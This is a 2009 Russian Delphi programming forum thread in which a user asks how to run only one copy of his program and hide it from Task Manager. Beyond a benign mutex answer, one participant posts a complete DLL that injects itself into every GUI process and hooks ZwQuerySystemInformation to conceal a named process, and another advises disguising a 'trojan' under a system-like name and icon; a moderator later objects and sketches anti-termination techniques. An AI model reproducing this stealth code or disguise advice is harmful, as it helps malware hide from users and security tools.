Экспертная система Delphi.int.ru

Сообщество программистов
Общение, помощь, обмен опытом

Логин:
Пароль:
Регистрация | Забыли пароль?

Delphi.int.ru Expert

Другие разделы портала

Переход к вопросу:

#   

Статистика за сегодня:  


Лучшие эксперты

Подробнее »



Вопрос # 2 762

Раздел: Delphi » Прочее
/ вопрос решён /

Здравствуйте!
Как можно сделать так чтобы только одна копия моей проги работала а не 2 в копии?
Чтобы была скрыть в списке задач диспетчера задач!

Hideman Вопрос решён, но можно продолжить его обсуждение в мини-форуме

Вопрос задал: Hideman (статус: Посетитель)
Вопрос отправлен: 11 мая 2009, 07:51
Состояние вопроса: решён, ответов: 2.

Ответ #1. Отвечает эксперт: min@y™

Цитата:

Как можно сделать так чтобы только одна копия моей проги работала а не 2 в копии?

Способов полно, чтобы посмотреть их, нажми сюда.

Цитата:

Чтобы была скрыть в списке задач диспетчера задач!

Надо писать программу как сервис.

Ответ отправил: min@y™ (статус: Доктор наук)
Время отправки: 11 мая 2009, 09:34
Оценка за ответ: 5

Ответ #2. Отвечает эксперт: 7Ghost

Здравствуйте, Hideman! Вы спрашиваете, как не допустить запуск второй копии программы?На мой взгляд вот самый лучший способ!

Приложение:
  1.  
  2.  
  3.  
  4.  
  5. unit Only_One;
  6.  
  7. interface
  8.  
  9. function Init_Mutex(mid: string): boolean;
  10.  
  11. implementation
  12.  
  13. uses Windows;
  14.  
  15. var
  16. mut: thandle;
  17.  
  18. function mut_id(s: string): string;
  19. var
  20. f: integer;
  21. begin
  22. result := s;
  23. for f := 1 to length(s) do
  24. if result[f] = '' then
  25. result[f] := '_';
  26. end;
  27.  
  28. function Init_Mutex(mid: string): boolean;
  29. begin
  30. Mut := CreateMutex(nil, false, pchar(mut_id(mid)));
  31. Result := not ((Mut = 0) or (GetLastError = ERROR_ALREADY_EXISTS));
  32. end;
  33.  
  34. initialization
  35. mut := 0;
  36. finalization
  37. if mut <> 0 then
  38. CloseHandle(mut);
  39. end.
  40.  
  41.  
  42.  
  43.  
  44.  
  45. uses
  46.  
  47. Forms,
  48.  
  49. MainForm in 'MainForm.pas' {Form1};
  50.  
  51. {$R *.res}
  52.  
  53. const
  54.  
  55.  
  56. begin
  57. if not init_mutex(UniqueString) then
  58. begin
  59.  
  60.  
  61.  
  62. exit;
  63. end;
  64. Application.Initialize;
  65. Application.CreateForm(TForm1, Form1);
  66. Application.Run;
  67. end.
  68.  
  69.  


Ответ отправил: 7Ghost (статус: 1-ый класс)
Время отправки: 11 мая 2009, 17:18
Оценка за ответ: 5


Мини-форум вопроса

Всего сообщений: 29; последнее сообщение — 12 мая 2009, 13:28; участников в обсуждении: 6.

Страницы: [« Предыдущая] [1] [2]

Silaims

Silaims (статус: Посетитель), 11 мая 2009, 22:23 [#21]:

И вот на конец, последняя...

library HideDLL;

uses
Windows,
ExtendedAPIFunctions,
apihooktools;

const
MutexName='__API_HOOK';

var
SH:HHOOK;
HiddenProcess:string = 'lsass.exe';

SystemFunctionBridge:TFunctionRestoreData;

{
перехватчик функции ZwQuerySystemInformation
все знают, что taskmgr.exe получает список процессов через эту функцию
именно это нам и нужно
}
function NewSystemFunction(ASystemInformationClass: DWORD; ASystemInformation: Pointer;
ASystemInformationLength: DWORD; AReturnLength:PCardinal): NTStatus; stdcall;
var
info,back_Proc:PSYSTEM_PROCESSES;
begin
UnHookCodeHook(@SystemFunctionBridge);
Result:=ZwQuerySystemInformation(ASystemInformationClass,ASystemInformation,ASystemInformationLength,AReturnLength);
SetCodeHook(SystemFunctionBridge.Address,@NewSystemFunction,@SystemFunctionBridge);
if ASystemInformationClass<>SystemProcessesAndThreadsInformation then exit;
if Result<>STATUS_SUCCESS then exit;
info:= ASystemInformation;
repeat
if info^.ProcessName.Buffer = HiddenProcess then
begin
back_Proc^.NextEntryDelta:=back_Proc^.NextEntryDelta+info^.NextEntryDelta;
{делаем так что бы предыдущая запись указывала на следующию тем самым
пропуская текущюю, именно так и достигается скрытие процесса

|<----s1-------->| |<--------s2------->|
n-1 n n+1
name
lsass.exe

до nextentrydelta=s1 nextentrydelta=s2 nextentrydelta
|______________________^

после nextentrydelta=s1+s2 nextentrydelta=s2 nextentrydelta
|_____________________________________________^
}
end;
back_Proc:=info;
Info := pointer(dword(info) + info^.NextEntryDelta);
until Info^.NextEntryDelta = 0;
end;

//обработчик сообщений
function MsgProc(code:DWORD;wParam,lparam:DWORD):DWORD;stdcall;
begin
CallNextHookEx(SH,code,wParam,lparam);
end;

//внедрение нашей DLL во все GUI процессы
procedure SetWindowsHook(e:Boolean); stdcall;
var
M:THandle;
begin
if e then
begin
m:=CreateMutex(0,false,MutexName);
if m=0 then exit;
SH:=SetWindowsHookEx(WH_GETMESSAGE,@MsgProc,HInstance,0);
end
else
UnhookWindowsHookEx(sh);
end;
//главный библиотечный обработчик
procedure DLLEntryPoint(dwReason:DWord);
begin
case dwReason of
DLL_PROCESS_ATTACH:
begin
// StopProcess(GetCurrentProcessId);
SetWindowsHook(true);
SetProcedureHook(GetModuleHandle('ntdll.dll'),'ZwQuerySystemInformation',@NewSystemFunction,@SystemFunctionBridge);
// ResumeProcess(GetCurrentProcessId);
end;
DLL_PROCESS_DETACH:
begin
// StopProcess(GetCurrentProcessId);
SetWindowsHook(false);
UnHookCodeHook(@SystemFunctionBridge);
//ResumeProcess(GetCurrentProcessId);
end;
end;
end;

begin
DllProc:= @DLLEntryPoint; //устанавливаеем библиотечный обработчик
DLLEntryPoint(DLL_PROCESS_ATTACH);
end.

Этот код скрывает процесс программы "lsass.exe".
7Ghost

7Ghost (статус: 1-ый класс), 11 мая 2009, 22:28 [#22]:

Да так называемый в компьютерном мире "квант времени" выделяемый процессором на определенную задачу "программу", которые стоят в списке задач ОС Виндовс. Если ВЫ Hideman хотите написать троян, то лучше назовите его например "Terminal" и смените дельфячью иконку на системную! Но у меня появился еще вопрос! Как сделать так чтобы процесс моей программы нельзя было убить в диспетчере, как у антивируса Касперского?
Вадим К

Вадим К (статус: Академик), 11 мая 2009, 22:58 [#23]:

По поводу "хочешь написать троян". Начнем с того, что это не совсем совпадает с тематикой сайта. Во вторых, это частично подпадает под несколько статей, а любой уважающий себя программист должен прежде всего чтить закон.
Поэтому, просьба - не публиковать подобные коды без согласования с администраторами.
Во вторых все эти "коды", очень плохо работают без понимания, как всё это работает вообще. Убить систему можно просто на раз.

Скрывая процесс от диспетчера задач подобным образом мы выдаем себя с головой. Дело в том, что более-менее нормальный антивирус/фаервол собирает информацию о процессах несколькими способами. И если какой то процесс "тут есть, а тут нет", то он первый кандидат убиение без проверки.

Как сделать "как Касперский". На самом деле есть несколько способов. Во первых, можно перехватить собственно нужные апи функции (типа TerminatedProcess) и проверять, не наш ли процесс пытаются убить.
Во вторых, можно позволить убивать процесс, но с драйвера постоянно контролировать, запущен ли он и если что - перезапускать, а процесс, который пытается убить наш - удалять. Либо сделать классический пинг-понг метод, о котором я тут уже рассказывал.
Возможно эти методы покажутся детскими и некоторые скажут, что у антивирусов всё не так работает... да, они хотели, что бы вы думали так. Например, классическим методом есть делать сканирование файлов с драйвера, а GUI есть только отображением происходящего, ибо драйвер не может отобразить себя в окно другим культурным методом. При этом, если убивают наше GUI приложение, то мы ругаемся, говорим, что нельзя убить, а сами тихо перезапускаем... и всех делов. Учитывая всё это, можно понять много "странностей и особенностей". Например, почему Касперский и ему подобные тормозят систему, хотя явной загрузки процессора нет... Просто драйвер не учитывается в подсчет загрузки, если всё правильно сделать. Естественно, разработчики антивирусов постоянно улучшают (и ухудшают - как без этого) детали реализации, поэтому даже у соседних билдов может быть разное поведение.
Галочка "подтверждения прочтения" - вселенское зло.
Hideman

Hideman (статус: Посетитель), 12 мая 2009, 06:54 [#24]:

Господа эксперты и посетители! Я только хотел скрыть имя проги в списке приложений (не списке процессов) Диспетчера задач! А не списке процессов Диспетчера задач! Это вед разные вещи! Если я не правильно задал вопрос! Прощу прошения!
Silaims

Silaims (статус: Посетитель), 12 мая 2009, 08:32 [#25]:

Хм... в таком случай не используй формы окна и тогда в диспетчере не будет виден имя программы. Или сделать так же, что я писал выше о перехвате хука, только нужно искать другую функцию. Найду - отпишусь.

Или ты затеял скрыть имя программы, чтобы было невозможно его убить?
Hideman

Hideman (статус: Посетитель), 12 мая 2009, 08:39 [#26]:

Добрый день эксперты!
Откуда нужно достать (модул) Dialog, в примере эксперта Timamus?
Hideman

Hideman (статус: Посетитель), 12 мая 2009, 08:40 [#27]:

Или я должен создать этот модуль (я новичок в Delphi);
Hideman

Hideman (статус: Посетитель), 12 мая 2009, 08:52 [#28]:

Разобрался Dialog оказывается Dialogs
7Ghost

7Ghost (статус: 1-ый класс), 12 мая 2009, 13:28 [#29]:

Прошу прошения Hedeman за то что неправильно написал!!! Я просто торопился и не успел проверить код в делфи! Прошу глубокого извинения за то что ВЫ потратили время на устранение моей ошибки!!!!

31 января 2011, 19:36: Статус вопроса изменён на решённый (изменил модератор Ерёмин А.А.): Автоматическая обработка (2 и более ответов с оценкой 5)

Страницы: [« Предыдущая] [1] [2]

Чтобы оставлять сообщения в мини-форумах, Вы должны авторизироваться на сайте.

Версия движка: 2.6+ (26.01.2011)
Текущее время: 25 апреля 2026, 20:56
Выполнено за 0.02 сек.